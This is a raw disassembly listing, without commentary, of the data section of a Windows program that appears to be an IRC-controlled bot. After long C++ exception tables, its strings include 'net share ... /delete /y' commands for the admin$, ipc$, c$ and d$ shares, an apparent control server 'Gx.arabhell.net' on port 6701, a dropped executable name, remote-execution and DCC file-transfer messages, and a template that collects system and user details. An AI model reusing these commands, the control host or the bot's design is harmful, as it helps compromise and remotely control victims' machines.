align 10h dword_4413C0 dd 19930520h, 2, 4413E0h, 5 dup(0) dd 0FFFFFFFFh, 43B030h, 0 dd offset loc_43B038 dd 2 dup(0) dword_4413F8 dd 19930520h, 3, 441418h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0 dd offset loc_43B05B dd 1, 43B066h, 2 dup(0) dword_441438 dd 19930520h, 1, 441458h, 5 dup(0) dd 0FFFFFFFFh, 43B090h, 2 dup(0) dword_441468 dd 19930520h, 1, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 2 dup(0) dword_441498 dd 19930520h, 4, 4414B8h, 5 dup(0) dd 0FFFFFFFFh, 43B0D0h, 0 dd offset loc_43B0D8 dd 1, 43B0E3h, 2, 43B0EEh, 2 dup(0) dword_4414E0 dd 19930520h, 7, 441500h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 43B118h, 0FFFFFFFFh dd 43B120h, 2, 43B128h, 3, 43B130h, 4, 43B138h, 0FFFFFFFFh dd 43B140h, 2 dup(0) dword_441540 dd 19930520h, 1Bh, 441560h, 5 dup(0) dd 0FFFFFFFFh, 43B170h, 0 dd offset loc_43B178 dd 1, 43B183h, 2, 43B191h, 3, 43B19Fh, 4, 43B1ADh, 5, 43B1BBh dd 6, 43B1C9h, 7, 43B1D7h, 8, 43B1E5h, 9, 43B1F3h, 0Ah dd 43B201h, 0Bh, 43B20Fh, 0Ch, 43B21Dh, 0Dh, 43B22Bh, 0Eh dd 43B239h, 0Fh, 43B247h, 10h, 43B255h, 11h, 43B263h, 12h dd 43B271h, 13h, 43B27Fh, 14h, 43B28Dh, 15h, 43B29Bh, 16h dd 43B2A9h, 17h, 43B2B7h, 18h, 43B2C5h, 19h, 43B2D3h, 6 dup(0) dword_441650 dd 19930520h, 1Bh, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B350h, 0 dd offset loc_43B358 dd 1, 43B363h, 2, 43B371h, 3, 43B37Fh, 4, 43B38Dh, 5, 43B39Bh dd 6, 43B3A9h, 7, 43B3B7h, 8, 43B3C5h, 9, 43B3D3h, 0Ah dd 43B3E1h, 0Bh, 43B3EFh, 0Ch, 43B3FDh, 0Dh, 43B40Bh, 0Eh dd 43B419h, 0Fh, 43B427h, 10h, 43B435h, 11h, 43B443h, 12h dd 43B451h, 13h, 43B45Fh, 14h, 43B46Dh, 15h, 43B47Bh, 16h dd 43B489h, 17h, 43B497h, 18h, 43B4A5h, 19h, 43B4B3h, 6 dup(0) dword_441760 dd 19930520h, 1, 441780h, 5 dup(0) dd 0FFFFFFFFh, 43B530h, 2 dup(0) dword_441790 dd 19930520h, 3Dh, 4417B0h, 5 dup(0) dd 0FFFFFFFFh, 43B550h, 0 dd offset loc_43B55B dd 1, 43B566h, 2, 43B574h, 3, 43B582h, 4, 43B590h, 5, 43B59Eh dd 6, 43B5ACh, 7, 43B5BAh, 8, 43B5C8h, 9, 43B5D6h, 0Ah dd 43B5E4h, 0Bh, 43B5F2h, 0Ch, 43B600h, 0Dh, 43B60Eh, 0Eh dd 43B61Ch, 0Fh, 43B62Ah, 10h, 43B638h, 11h, 43B646h, 12h dd 43B654h, 13h, 43B662h, 14h, 43B670h, 15h, 43B67Eh, 16h dd 43B68Ch, 17h, 43B69Ah, 18h, 43B6A8h, 19h, 43B6B6h, 1Ah dd 43B6C4h, 1Bh, 43B6D2h, 1Ch, 43B6E0h, 1Dh, 43B6EEh, 1Eh dd 43B6FCh, 1Fh, 43B70Ah, 20h, 43B718h, 21h, 43B726h, 22h dd 43B734h, 23h, 43B742h, 24h, 43B750h, 25h, 43B75Eh, 26h dd 43B76Ch, 27h, 43B77Ah, 28h, 43B788h, 29h, 43B796h, 2Ah dd 43B7A4h, 2Bh, 43B7B2h, 2Ch, 43B7C0h, 2Dh, 43B7CEh, 2Eh dd 43B7DCh, 2Fh, 43B7EAh, 30h, 43B7F8h, 31h, 43B806h, 32h dd 43B814h, 33h, 43B822h, 34h, 43B830h, 35h, 43B83Eh, 36h dd 43B84Ch, 37h, 43B85Ah, 38h, 43B868h, 39h, 43B876h, 3Ah dd 43B884h, 3Bh, 43B892h, 0Eh dup(0) dword_4419D0 dd 19930520h, 4, 4419F0h, 5 dup(0) dd 0FFFFFFFFh, 43B980h, 0 dd offset loc_43B98B dd 1, 43B996h, 2, 43B9A1h, 2 dup(0) dword_441A18 dd 19930520h, 6, 441A38h, 5 dup(0) dd 0FFFFFFFFh, 43B9D0h, 0 dd offset loc_43B9DB dd 1, 43B9E6h, 2, 43B9F1h, 3, 43B9FFh, 4, 43BA0Dh, 2 dup(0) dword_441A70 dd 19930520h, 4, 441A90h, 5 dup(0) dd 0FFFFFFFFh, 43BA40h, 0 dd offset loc_43BA4E dd 1, 43BA5Ch, 2, 43BA6Ah, 2 dup(0) dword_441AB8 dd 19930520h, 5, 441AD8h, 5 dup(0) dd 0FFFFFFFFh, 43BAA0h, 0 dd offset loc_43BAAB dd 1, 43BAB6h, 2, 43BAC1h, 3, 43BACFh, 2 dup(0) dword_441B08 dd 19930520h, 5, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 0 dd offset loc_43BB0B dd 1, 43BB16h, 2, 43BB21h, 3, 43BB2Fh, 2 dup(0) dword_441B58 dd 19930520h, 1, 441B78h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0) dword_441B88 dd 19930520h, 1, 441BA8h, 5 dup(0) dd 0FFFFFFFFh, 43BB80h, 2 dup(0) dword_441BB8 dd 19930520h, 1, 441BD8h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 2 dup(0) dword_441BE8 dd 19930520h, 2, 441C08h, 5 dup(0) dd 0FFFFFFFFh, 43BBC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0BBh, 43h, 0 align 10h dword_441C20 dd 19930520h, 4, 441C40h, 5 dup(0) dd 0FFFFFFFFh, 43BBF0h, 0 dd offset loc_43BBFB dd 1, 43BC06h, 2, 43BC11h, 2 dup(0) dword_441C68 dd 19930520h, 4, 441C88h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 0 dd offset loc_43BC4B dd 1, 43BC56h, 2, 43BC61h, 2 dup(0) dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43BC90h, 0 dd offset loc_43BC9B dd 1, 43BCA6h, 2, 43BCB1h, 3, 43BCBFh, 4, 43BCCDh, 2 dup(0) dword_441D08 dd 19930520h, 4, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43BD00h, 0 dd offset loc_43BD0E dd 1, 43BD1Ch, 2, 43BD2Ah, 2 dup(0) dword_441D50 dd 19930520h, 5, 441D70h, 5 dup(0) dd 0FFFFFFFFh, 43BD60h, 0 dd offset loc_43BD6B dd 1, 43BD76h, 2, 43BD81h, 3, 43BD8Fh, 2 dup(0) dword_441DA0 dd 19930520h, 5, 441DC0h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0BDh, 43h, 0 dd 1, 43BDD6h, 2, 43BDE1h, 3, 43BDEFh, 2 dup(0) dword_441DF0 dd 19930520h, 1, 441E10h, 5 dup(0) dd 0FFFFFFFFh, 43BE20h, 2 dup(0) dword_441E20 dd 19930520h, 1, 441E40h, 5 dup(0) dd 0FFFFFFFFh, 43BE40h, 2 dup(0) dword_441E50 dd 19930520h, 1, 441E70h, 5 dup(0) dd 0FFFFFFFFh, 43BE60h, 2 dup(0) dword_441E80 dd 19930520h, 2, 441EA0h, 5 dup(0) dd 0FFFFFFFFh, 43BE80h, 0 dd offset loc_43BE8B dd 2 dup(0) dword_441EB8 dd 19930520h, 4, 441ED8h, 5 dup(0) dd 0FFFFFFFFh, 43BEB0h, 0 dd offset loc_43BEBB dd 1, 43BEC6h, 2, 43BED1h, 2 dup(0) dword_441F00 dd 19930520h, 1, 441F20h, 5 dup(0) dd 0FFFFFFFFh, 43BF00h, 2 dup(0) dword_441F30 dd 19930520h, 2, 441F50h, 5 dup(0) dd 0FFFFFFFFh, 43BF20h, 0 dd offset loc_43BF2B dd 2 dup(0) dword_441F68 dd 19930520h, 1, 441F88h, 5 dup(0) dd 0FFFFFFFFh, 43BF50h, 2 dup(0) dword_441F98 dd 19930520h, 1, 441FB8h, 5 dup(0) dd 0FFFFFFFFh, 43BF70h, 2 dup(0) dword_441FC8 dd 19930520h, 2, 441FE8h, 5 dup(0) dd 0FFFFFFFFh, 43BF90h, 0 dd offset loc_43BF9B align 10h dword_442000 dd 19930520h, 1, 442020h, 5 dup(0) dd 0FFFFFFFFh, 43BFC0h, 2 dup(0) dword_442030 dd 19930520h, 3, 442050h, 5 dup(0) dd 0FFFFFFFFh, 43BFE0h, 0 dd offset loc_43BFF7 dd 1, 43BFFFh, 2 dup(0) dword_442070 dd 19930520h, 1, 442090h, 5 dup(0) dd 0FFFFFFFFh, 43C020h, 2 dup(0) dword_4420A0 dd 19930520h, 4, 4420C0h, 5 dup(0) dd 0FFFFFFFFh, 43C048h, 0 dd offset sub_43C040 dd 0 dd offset loc_43C05F dd 2, 43C067h, 2 dup(0) dword_4420E8 dd 19930520h, 6, 442108h, 5 dup(0) dd 0FFFFFFFFh, 43C090h, 0FFFFFFFFh, 43C098h, 0FFFFFFFFh dd 43C0A0h, 0FFFFFFFFh, 43C0A8h, 0FFFFFFFFh, 43C0B0h, 0FFFFFFFFh dd 43C0B8h, 2 dup(0) dword_442140 dd 19930520h, 1Ah, 442160h, 5 dup(0) dd 0FFFFFFFFh, 43C0E0h, 0 dd offset loc_43C0EB dd 1, 43C0F6h, 2, 43C101h, 3, 43C10Ch, 4, 43C117h, 5, 43C11Fh dd 5, 43C12Ah, 5, 43C135h, 5, 43C143h, 5, 43C14Eh, 5, 43C159h dd 5, 43C167h, 5, 43C172h, 5, 43C17Dh, 5, 43C188h, 5, 43C196h dd 5, 43C1A1h, 5, 43C1ACh, 5, 43C1BAh, 5, 43C1C5h, 5, 43C1D0h dd 5, 43C1DEh, 5, 43C1E9h, 5, 43C1F4h, 5, 43C1FFh, 6 dup(0) dword_442248 dd 19930520h, 4, 442268h, 5 dup(0) dd 0FFFFFFFFh, 43C270h, 0 dd offset loc_43C278 dd 1, 43C283h, 2, 43C28Eh, 2 dup(0) dword_442290 dd 19930520h, 4, 4422B0h, 5 dup(0) dd 0FFFFFFFFh, 43C2B0h, 0 dd offset loc_43C2B8 dd 1, 43C2C3h, 2, 43C2CEh, 2 dup(0) dword_4422D8 dd 19930520h, 6, 4422F8h, 5 dup(0) dd 0FFFFFFFFh, 43C2F0h, 0 ; --------------------------------------------------------------------------- clc retn 43h ; --------------------------------------------------------------------------- dd 1, 43C303h, 2, 43C30Eh, 3, 43C319h, 4, 43C324h, 2 dup(0) dword_442330 dd 19930520h, 6, 442350h, 5 dup(0) dd 0FFFFFFFFh, 43C350h, 0 ; --------------------------------------------------------------------------- pop eax retn ; --------------------------------------------------------------------------- dw 43h dd 1, 43C363h, 2, 43C36Eh, 3, 43C379h, 4, 43C384h, 2 dup(0) dword_442388 dd 19930520h, 6, 4423A8h, 5 dup(0) dd 0FFFFFFFFh, 43C3B0h, 0FFFFFFFFh, 43C3BBh, 0FFFFFFFFh dd 43C3C6h, 2, 43C3D1h, 3, 43C3DCh, 2, 43C3E7h, 2 dup(0) dword_4423E0 dd 19930520h, 3, 442400h, 5 dup(0) dd 0FFFFFFFFh, 43C410h, 0FFFFFFFFh, 43C418h, 0FFFFFFFFh dd 43C420h, 2 dup(0) dword_442420 dd 19930520h, 5, 442440h, 5 dup(0) dd 0FFFFFFFFh, 43C440h, 0FFFFFFFFh, 43C448h, 0FFFFFFFFh dd 43C450h, 0FFFFFFFFh, 43C458h, 0FFFFFFFFh, 43C460h, 2 dup(0) dword_442470 dd 19930520h, 0Ch, 442490h, 5 dup(0) dd 0FFFFFFFFh, 43C480h, 0 dd offset loc_43C488 dd 0FFFFFFFFh, 43C490h, 0FFFFFFFFh, 43C498h, 0FFFFFFFFh dd 43C4A0h, 0FFFFFFFFh, 43C4A8h, 5, 43C4B0h, 0FFFFFFFFh dd 43C4B8h, 0FFFFFFFFh, 43C4C0h, 0FFFFFFFFh, 43C4C8h, 0FFFFFFFFh dd 43C4D0h, 0FFFFFFFFh, 43C4D8h, 4 dup(0) dd 19930520h, 2, 442520h, 1, 442530h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 442548h, 4 dup(0) dd offset loc_41EF2C align 10h dword_442560 dd 19930520h, 0Ah, 442580h, 5 dup(0) dd 0FFFFFFFFh, 43C520h, 0 dd offset loc_43C52B dd 1, 43C536h, 2, 43C541h, 3, 43C54Ch, 3, 43C557h, 3, 43C562h dd 3, 43C56Dh, 3, 43C578h, 3, 43C583h, 4 dup(0) dword_4425E0 dd 19930520h, 2, 442600h, 5 dup(0) dd 0FFFFFFFFh, 43C5C0h, 0 dd offset loc_43C5C8 dd 2 dup(0) dword_442618 dd 19930520h, 3, 442638h, 5 dup(0) dd 0FFFFFFFFh, 43C5E0h, 0FFFFFFFFh, 43C5EBh, 1, 43C5F6h dd 2 dup(0) dword_442658 dd 19930520h, 1, 442678h, 5 dup(0) dd 0FFFFFFFFh, 43C620h, 2 dup(0) dword_442688 dd 19930520h, 2, 4426A8h, 5 dup(0) dd 0FFFFFFFFh, 43C640h, 0 dd offset loc_43C64B align 10h dword_4426C0 dd 19930520h, 16h, 4426E0h, 5 dup(0) dd 0FFFFFFFFh, 43C670h, 0 dd offset loc_43C67B dd 0 dd offset loc_43C683 dd 0 dd offset loc_43C68B dd 3, 43C693h, 4, 43C69Bh, 0 dd offset loc_43C6A3 dd 6, 43C6ABh, 7, 43C6B3h, 0 dd offset loc_43C6BB dd 9, 43C6C3h, 0Ah, 43C6CBh, 0 dd offset loc_43C6D3 dd 0Ch, 43C6DBh, 0Dh, 43C6E3h, 0 dd offset loc_43C6EB dd 0Fh, 43C6F3h, 0 dd offset loc_43C6FB dd 11h, 43C703h, 0 dd offset loc_43C70B dd 13h, 43C713h, 13h, 43C71Bh, 6 dup(0) dword_4427A8 dd 19930520h, 1, 4427C8h, 5 dup(0) dd 0FFFFFFFFh, 43C760h, 2 dup(0) dword_4427D8 dd 19930520h, 1, 4427F8h, 5 dup(0) dd 0FFFFFFFFh, 43C790h, 2 dup(0) dword_442808 dd 19930520h, 5, 442828h, 5 dup(0) dd 0FFFFFFFFh, 43C7C0h, 0FFFFFFFFh, 43C7C8h, 0FFFFFFFFh dd 43C7D0h, 0FFFFFFFFh, 43C7D8h, 0FFFFFFFFh, 43C7E0h, 2 dup(0) dword_442858 dd 19930520h, 0Bh, 442878h, 5 dup(0) dd 0FFFFFFFFh, 43C800h, 0FFFFFFFFh, 43C80Bh, 0FFFFFFFFh dd 43C821h, 0FFFFFFFFh, 43C82Ch, 0FFFFFFFFh, 43C837h, 0FFFFFFFFh dd 43C842h, 0FFFFFFFFh, 43C84Dh, 0FFFFFFFFh, 43C858h, 0FFFFFFFFh dd 43C863h, 0FFFFFFFFh, 43C86Eh, 0FFFFFFFFh, 43C816h, 4 dup(0) dword_4428E0 dd 19930520h, 1, 442900h, 5 dup(0) dd 0FFFFFFFFh, 43C8B0h, 2 dup(0) dword_442910 dd 19930520h, 5, 442930h, 5 dup(0) dd 0FFFFFFFFh, 43C8D0h, 0FFFFFFFFh, 43C8D8h, 0FFFFFFFFh dd 43C8E0h, 0FFFFFFFFh, 43C8E8h, 0FFFFFFFFh, 43C8F0h, 2 dup(0) dword_442960 dd 19930520h, 15h, 442980h, 5 dup(0) dd 0FFFFFFFFh, 43C910h, 0FFFFFFFFh, 43C91Bh, 0FFFFFFFFh dd 43C923h, 0FFFFFFFFh, 43C92Bh, 0FFFFFFFFh, 43C933h, 0FFFFFFFFh dd 43C93Bh, 0FFFFFFFFh, 43C946h, 0FFFFFFFFh, 43C94Eh, 0FFFFFFFFh dd 43C956h, 0FFFFFFFFh, 43C95Eh, 0FFFFFFFFh, 43C966h, 0FFFFFFFFh dd 43C971h, 0FFFFFFFFh, 43C979h, 0FFFFFFFFh, 43C981h, 0FFFFFFFFh dd 43C989h, 0FFFFFFFFh, 43C991h, 0FFFFFFFFh, 43C99Ch, 0FFFFFFFFh dd 43C9A4h, 0FFFFFFFFh, 43C9ACh, 0FFFFFFFFh, 43C9B4h, 0FFFFFFFFh dd 43C9BCh, 6 dup(0) dword_442A40 dd 19930520h, 1, 442A60h, 5 dup(0) dd 0FFFFFFFFh, 43CA00h, 2 dup(0) dword_442A70 dd 19930520h, 5, 442A90h, 5 dup(0) dd 0FFFFFFFFh, 43CA20h, 0 dd offset loc_43CA28 dd 1, 43CA33h, 2, 43CA3Eh, 3, 43CA49h, 2 dup(0) dword_442AC0 dd 19930520h, 5, 442AE0h, 5 dup(0) dd 0FFFFFFFFh, 43CA70h, 0 dd offset loc_43CA78 dd 1, 43CA83h, 2, 43CA8Eh, 3, 43CA99h, 2 dup(0) dword_442B10 dd 19930520h, 1, 442B30h, 5 dup(0) dd 0FFFFFFFFh, 43CAC0h, 2 dup(0) dword_442B40 dd 19930520h, 1, 442B60h, 5 dup(0) dd 0FFFFFFFFh, 43CAE0h, 2 dup(0) dword_442B70 dd 19930520h, 1, 442B90h, 5 dup(0) dd 0FFFFFFFFh, 43CB00h, 2 dup(0) dword_442BA0 dd 19930520h, 1, 442BC0h, 5 dup(0) dd 0FFFFFFFFh, 43CB20h, 2 dup(0) dword_442BD0 dd 19930520h, 1, 442BF0h, 5 dup(0) dd 0FFFFFFFFh, 43CB40h, 2 dup(0) dword_442C00 dd 19930520h, 1, 442C20h, 5 dup(0) dd 0FFFFFFFFh, 43CB60h, 2 dup(0) dword_442C30 dd 19930520h, 1, 442C50h, 5 dup(0) dd 0FFFFFFFFh, 43CB80h, 2 dup(0) dword_442C60 dd 19930520h, 1, 442C80h, 5 dup(0) dd 0FFFFFFFFh, 43CBA0h, 2 dup(0) dword_442C90 dd 19930520h, 6, 442CB0h, 5 dup(0) dd 0FFFFFFFFh, 43CBC0h, 0 dd offset loc_43CBC8 dd 1, 43CBD3h, 2, 43CBDEh, 3, 43CBE9h, 4, 43CBF4h, 2 dup(0) dword_442CE8 dd 19930520h, 6, 442D08h, 5 dup(0) dd 0FFFFFFFFh, 43CC20h, 0 dd offset loc_43CC28 dd 1, 43CC33h, 2, 43CC3Eh, 3, 43CC49h, 4, 43CC54h, 2 dup(0) dword_442D40 dd 19930520h, 3, 442D60h, 5 dup(0) dd 0FFFFFFFFh, 43CC80h, 0 dd offset loc_43CC88 dd 1, 43CC96h, 2 dup(0) dword_442D80 dd 19930520h, 16h, 442DA0h, 5 dup(0) dd 0FFFFFFFFh, 43CCC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- align 2 dw 43h dd 1, 43CCD6h, 2, 43CCE1h, 2, 43CCECh, 2, 43CCF7h, 2, 43CD02h dd 6, 43CD0Dh, 2, 43CD18h, 8, 43CD23h, 2, 43CD2Eh, 0Ah dd 43CD39h, 2, 43CD44h, 0Ch, 43CD4Fh, 0Dh, 43CD5Ah, 0Eh dd 43CD65h, 0Fh, 43CD70h, 0Fh, 43CD7Bh, 0Fh, 43CD86h, 0Fh dd 43CD91h, 0Fh, 43CD9Ch, 0Fh, 43CDA7h, 6 dup(0) dword_442E68 dd 19930520h, 1, 442E88h, 5 dup(0) dd 0FFFFFFFFh, 43CE00h, 2 dup(0) dword_442E98 dd 19930520h, 1, 442EB8h, 5 dup(0) dd 0FFFFFFFFh, 43CE20h, 2 dup(0) dword_442EC8 dd 19930520h, 1, 442EE8h, 5 dup(0) dd 0FFFFFFFFh, 43CE40h, 2 dup(0) dword_442EF8 dd 19930520h, 1, 442F18h, 5 dup(0) dd 0FFFFFFFFh, 43CE60h, 2 dup(0) dword_442F28 dd 19930520h, 1, 442F48h, 5 dup(0) dd 0FFFFFFFFh, 43CE80h, 2 dup(0) dword_442F58 dd 19930520h, 2, 442F78h, 1, 442F88h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 442FA0h, 4 dup(0) dd offset loc_42C244 dd 2 dup(0) dword_442FB8 dd 19930520h, 2, 442FD8h, 1, 442FE8h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 443000h, 4 dup(0) dd offset loc_42C321 dd 2 dup(0) dword_443018 dd 19930520h, 3, 443038h, 5 dup(0) dd 0FFFFFFFFh, 43CEC0h, 0 dd offset loc_43CEC8 dd 1, 43CED0h, 2 dup(0) dword_443058 dd 19930520h, 1, 443078h, 5 dup(0) dd 0FFFFFFFFh, 43CF00h, 2 dup(0) dword_443088 dd 19930520h, 1, 4430A8h, 5 dup(0) dd 0FFFFFFFFh, 43CF20h, 2 dup(0) dword_4430B8 dd 19930520h, 1, 4430D8h, 5 dup(0) dd 0FFFFFFFFh, 43CF40h, 2 dup(0) dword_4430E8 dd 19930520h, 1, 443108h, 5 dup(0) dd 0FFFFFFFFh, 43CF60h, 2 dup(0) dword_443118 dd 19930520h, 1, 443138h, 5 dup(0) dd 0FFFFFFFFh, 43CF80h, 2 dup(0) dword_443148 dd 19930520h, 6, 443168h, 5 dup(0) dd 0FFFFFFFFh, 43CFA0h, 0FFFFFFFFh, 43CFA8h, 0FFFFFFFFh dd 43CFB0h, 0FFFFFFFFh, 43CFB8h, 0FFFFFFFFh, 43CFC0h, 0FFFFFFFFh dd 43CFC8h, 2 dup(0) dword_4431A0 dd 19930520h, 16h, 4431C0h, 5 dup(0) dd 0FFFFFFFFh, 43CFF0h, 0FFFFFFFFh, 43CFFBh, 0FFFFFFFFh dd 43D003h, 0FFFFFFFFh, 43D00Bh, 0FFFFFFFFh, 43D013h, 0FFFFFFFFh dd 43D01Eh, 0FFFFFFFFh, 43D026h, 0FFFFFFFFh, 43D02Eh, 0FFFFFFFFh dd 43D036h, 0FFFFFFFFh, 43D041h, 0FFFFFFFFh, 43D049h, 0FFFFFFFFh dd 43D051h, 0FFFFFFFFh, 43D05Ch, 0FFFFFFFFh, 43D064h, 0Dh dd 43D06Ch, 0Eh, 43D074h, 0Eh, 43D07Ch, 0Eh, 43D084h, 0Eh dd 43D08Ch, 12h, 43D094h, 13h, 43D09Ch, 0Eh, 43D09Ch, 6 dup(0) dword_443288 dd 19930520h, 2, 4432A8h, 5 dup(0) dd 0FFFFFFFFh, 43D0E0h, 0FFFFFFFFh, 43D0E8h, 2 dup(0) dword_4432C0 dd 19930520h, 2, 4432E0h, 5 dup(0) dd 0FFFFFFFFh, 43D100h, 0 dd offset loc_43D10B dd 2 dup(0) dword_4432F8 dd 19930520h, 1, 443318h, 5 dup(0) dd 0FFFFFFFFh, 43D130h, 2 dup(0) dword_443328 dd 19930520h, 2, 443348h, 5 dup(0) dd 0FFFFFFFFh, 43D150h, 0FFFFFFFFh, 43D158h, 2 dup(0) dword_443360 dd 19930520h, 0Ah, 443380h, 5 dup(0) dd 0FFFFFFFFh, 43D170h, 0FFFFFFFFh, 43D17Bh, 0FFFFFFFFh dd 43D186h, 0FFFFFFFFh, 43D191h, 0FFFFFFFFh, 43D19Ch, 0FFFFFFFFh dd 43D1A7h, 0FFFFFFFFh, 43D1B2h, 0FFFFFFFFh, 43D1BDh, 0FFFFFFFFh dd 43D1C8h, 0FFFFFFFFh, 43D1D3h, 34Dh dup(0) dd offset aRrrrrrrrrrrrrr+1Fh dd offset aRrrrrrrrrr+7Ah dd 105h dup(0) aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G' ; DATA XREF: sub_403530+7Fo db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|' db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0 align 4 dd 8 dup(0) asc_4445EC: ; DATA XREF: sub_403530+66o ; sub_410030:loc_41090Eo ... unicode 0, <|>,0 aS db '%s',0 ; DATA XREF: sub_404CC0+86Fo ; sub_404CC0+AEBo ... align 4 aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_404CC0+82Bo ; sub_404CC0+B58o ... align 10h asc_444600: ; DATA XREF: sub_404690:loc_40476Fo ; sub_404690+1EDo ... unicode 0, < >,0 aO db ' -o',0 ; DATA XREF: sub_404690+75o ; sub_410030:loc_410A19o ... aNetShareAdminD db 'net share admin$ /delete /y',0 dd 2 dup(0) aNetShareIpcDel db 'net share ipc$ /delete /y',0 align 4 dd 0 aNetShareDDelet db 'net share d$ /delete /y',0 align 8 aNetShareCDelet db 'net share c$ /delete /y',0 dd 0 dword_444684 dd 255C7325h, 73h ; sub_40D040+DEo ... aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404CC0+D72o align 8 aN: ; DATA XREF: sub_404CC0+D1Do unicode 0, <N>,0 aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404CC0+971o align 4 aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404CC0+75Co align 10h dd 0 aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404CC0+6CFo align 10h aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404CC0+610o align 10h dd 0 aOpen db 'open',0 ; DATA XREF: sub_404CC0+444o ; sub_41C130+Eo align 4 aExec_error db 'exec.error',0 ; DATA XREF: sub_404CC0+1A3o ; sub_404CC0+9ABo ... align 4 dd 0 aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_406730+C3o align 10h aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti' ; DATA XREF: sub_4068E0+20Fo db 'me: %dd %dh %dm box: %s. user: %s.',0 dd 5 dup(0) aSS_2 db '%s [%s]',0 ; DATA XREF: sub_4068E0+125o dd 0 a??? db '???',0 ; DATA XREF: sub_4068E0:loc_4069DBo a2003 db '2003',0 ; DATA XREF: sub_4068E0+F4o align 10h aXp db 'XP',0 ; DATA XREF: sub_4068E0+EAo align 4 a2000 db '2000',0 ; DATA XREF: sub_4068E0+DEo align 4 aMe db 'ME',0 ; DATA XREF: sub_4068E0+C7o align 10h a98 db '98',0 ; DATA XREF: sub_4068E0+BBo align 4 aNt db 'NT',0 ; DATA XREF: sub_4068E0+AFo align 4 a95 db '95',0 ; DATA XREF: sub_4068E0+9Co align 4 aBai db '-bai',0 ; DATA XREF: ___:loc_406E3Do ; ___:00406E85o align 4 aNetsvcs db '-netsvcs',0 ; DATA XREF: ___:loc_406E00o ; sub_40ED00+88o align 10h aUpdate db '-update',0 ; DATA XREF: ___:00406DC3o dd 0 dword_4447EC dd 6265642Dh, 6775hdword_4447F4 dd 6425h ; ___:004087A4o ... dword_4447F8 dd 2Eh ; ___:0041B2DAo ... aMicrosoftVisua db 'MicroSoft Visual SP2',0 ; DATA XREF: sub_4077E0+403o align 8 aEvil db 'evil',0 ; DATA XREF: sub_4077E0+3F2o align 10h aFeeling_nasty db 'feeling.nasty',0 ; DATA XREF: sub_4077E0+3E1o align 10h aSet db 'set',0 ; DATA XREF: sub_4077E0+359o asc_444834 db 'X-',0 ; DATA XREF: sub_4077E0+348o align 4 aAyssds4ddklfsd db 'ayssds4ddklfsdf',0 ; DATA XREF: sub_4077E0+337o dd 0 aIgfsfdfsd32_ex db 'igfsfdfsd32.exe',0 ; DATA XREF: sub_4077E0+326o align 10h aXkey db 'Xkey',0 ; DATA XREF: sub_4077E0+318o align 4 aM db '##m',0 ; DATA XREF: sub_4077E0+307o aM_0 db '##m##',0 ; DATA XREF: sub_4077E0+2F6o align 4 a6701 db '6701',0 ; DATA XREF: sub_4077E0+29Bo align 4 aGx_arabhell_ne db 'Gx.arabhell.net',0 ; DATA XREF: sub_4077E0+283o align 10h off_444890 dd offset off_43F1D4 ; DATA XREF: ___:00440014o align 8 a_?avexception@ db '.?AVexception@@',0 align 10h off_4448B0 dd offset off_43F1D4 ; DATA XREF: ___:00440034o align 8 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 10h dd 2 dup(0) off_4448D8 dd offset off_43F1D4 ; DATA XREF: ___:00440054o align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409660+21o ; ___:0040AA51o dd 2 dup(0) aTrue db 'true',0 ; DATA XREF: sub_40B760+3Fo ; sub_40B7E0+43o ... align 4 aF db '%f',0 ; DATA XREF: ___:0040B87Fo align 10h aFalse db 'false',0 ; DATA XREF: ___:0040B924o align 4 aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BC3Ao align 10h dd 0 aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BB57o align 10h aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA91o dd 0 aCvar db '(cvar)',0 ; DATA XREF: ___:0040BA04o align 4 aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C4E0+52Ao align 4 dd 0 aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0 ; DATA XREF: sub_40C4E0+48Ao align 10h aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C4E0+377o align 10h aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C4E0+327o align 10h dword_444A00 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: 